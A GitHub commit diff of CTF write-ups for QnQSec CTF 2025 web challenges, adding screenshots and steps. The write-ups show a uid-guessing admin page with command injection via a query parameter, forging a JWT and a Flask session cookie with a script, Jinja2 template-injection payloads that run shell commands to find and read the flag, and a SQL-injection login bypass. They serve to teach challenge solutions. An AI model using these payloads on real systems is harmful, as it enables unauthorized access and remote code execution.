Skip to content

Commit 1f60fa1

Browse files
images of qnq web chals
1 parent b2383fe commit 1f60fa1

15 files changed

Lines changed: 60 additions & 11 deletions

docs/QnQSec CTF 2025/Warmup/A easy web.md

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -28,12 +28,24 @@ CMD ["python", "app.py"]
2828

2929
## Approach
3030

31-
The `index.html` tells to go to `/profile?uid=1`.
31+
`/`:
3232

33-
That endpoint sayssaid that this is a guest user.
33+
![image](../media/easyweb1.png)
34+
35+
`/profile?uid=1`:
36+
37+
![image](../media/easyweb2.png)
3438

3539
Tried running a script to check all uids from 1 to 100 -> no luck
3640

37-
Guessed `1337` (because of its [significance](https://en.wikipedia.org/wiki/Leet)), and it worked! That endpoint was an admin page that provides a shell.
41+
Guessed `1337` (because of its [significance](https://en.wikipedia.org/wiki/Leet)), and it worked!
42+
43+
![image](../media/easyweb3.png)
44+
45+
Clicking on admin panel, we are taken to `/admin?cmd=whoami&uid=1337`:
46+
47+
![image](../media/easyweb4.png)
48+
49+
Typing commands in the text box and clicking "Run" gives "Access Denied". But providing commands in query params works!
3850

39-
Using `ls` commands, found out the random name of the flag file and then `cat` it
51+
Using `ls -a` commands, found out the random name of the flag file and then `cat` it

docs/QnQSec CTF 2025/Web/QnQsec portal.md

Lines changed: 40 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -167,11 +167,15 @@ if __name__ == '__main__':
167167

168168
Firstly, a login screen is displayed.
169169

170+
![image](../media/qnqportal1.png)
171+
170172
From the source code, it's clear that we need to login as "Flag", but we only have its md5-hashed password. [John the Ripper](https://github.com/openwall/john) with `rockyou.txt` couldn't decrypt it.
171173

172-
Registering with some username ("hello") and password ("world") and then logging in sets two cookies: `admin_jwt` and `session`
174+
Registering with some username ("user52") and password ("pass") and then logging in sets two cookies: `admin_jwt` and `session`
175+
176+
![image](../media/qnqportal2.png)
173177

174-
On [jwt.io](https://www.jwt.io/), decoding the `admin_jwt` cookie value gives a payload that contains `"user":"hello", "role":"User"`
178+
On [jwt.io](https://www.jwt.io/), decoding the `admin_jwt` cookie value gives a payload that contains `"sub":"hello", "role":"User"`
175179

176180
```python
177181
base = os.environ.get("Q_SECRET", "qnqsec-default")
@@ -181,15 +185,44 @@ app.config['JWT_SECRET'] = hashlib.sha256(("jwtpepper:" + base).encode()).hexdig
181185

182186
On the same website, we can verify if a given JWT key is valid or not for the provided token. The SHA256 hash of `jwtpepper:qnqsec-default` worked! So, the value of `base` is `qnqsec-default`.
183187

184-
Now, we can encode a new jwt token with `"user":"Flag", "role":"admin"`; and use Flask to create a new session token with `"user":"Flag"`
188+
![image](../media/qnqportal3.png)
189+
190+
Now, we can encode a new jwt token with `"sub":"Flag", "role":"admin"`; and use Flask to create a new session token with `"user":"Flag"`
191+
192+
![image](../media/qnqportal4.png)
193+
194+
```python
195+
from flask import Flask
196+
from flask.sessions import SecureCookieSessionInterface
197+
198+
def generate_flask_session(payload, secret_key):
199+
app = Flask(__name__)
200+
app.secret_key = secret_key
201+
202+
si = SecureCookieSessionInterface()
203+
serializer = si.get_signing_serializer(app)
204+
205+
return serializer.dumps(payload)
206+
207+
if __name__ == "__main__":
208+
SECRETKEY = "40913aa300c33db34d976a59975adf18d90a246a" # SHA1 of 'pepper:qnqsec-default'
209+
payload = {"user": "Flag"}
210+
cookie_value = generate_flask_session(payload, SECRETKEY)
211+
print(cookie_value)
212+
213+
```
214+
215+
Set these cookies to the updated values and go to the `/account` endpoint.
216+
217+
![image](../media/qnqportal5.png)
218+
219+
![image](../media/qnqportal6.png)
185220

186-
Set these cookies to the updated values and go to the `/account` endpoint. Now we get access to the admin account, and a form is displayed which asks us to provide a *template* which it will render. This is obviously **SSTI**
221+
A form is displayed which asks us to provide a *template* which it will render. This is obviously **SSTI**. Verified by rendering `{{ 7 * '7'}}`, it outputs `7777777`
187222

188223
Step-by-step payload to get the flag:
189224

190225
```text
191-
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls /').read() }}
192-
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls /app/').read() }}
193-
{{ request.application.__globals__.__builtins__.__import__('os').popen('ls /app/secret/').read() }}
226+
{{ request.application.__globals__.__builtins__.__import__('os').popen('find / -name *flag*').read() }}
194227
{{ request.application.__globals__.__builtins__.__import__('os').popen('cat /app/secret/flag.txt').read() }}
195228
```

docs/QnQSec CTF 2025/Web/s3cr3t_w3b.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -459,6 +459,8 @@ EXPOSE 80
459459

460460
Firstly, a login screen is displayed.
461461

462+
![image](../media/secretweb1.png)
463+
462464
```php
463465
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
464466
```
@@ -470,6 +472,8 @@ username: ' OR '1'='1
470472
password: ' OR '1'='1
471473
```
472474

475+
![image](../media/secretweb2.png)
476+
473477
After logging in, a page opens which accepts an XML file and parses it. This is a sink for **XXE Injection**
474478

475479
Working payload:
13.6 KB
Loading
4.39 KB
Loading
6.57 KB
Loading
6.06 KB
Loading
50.4 KB
Loading
30.6 KB
Loading
93.6 KB
Loading

0 commit comments

Comments
 (0)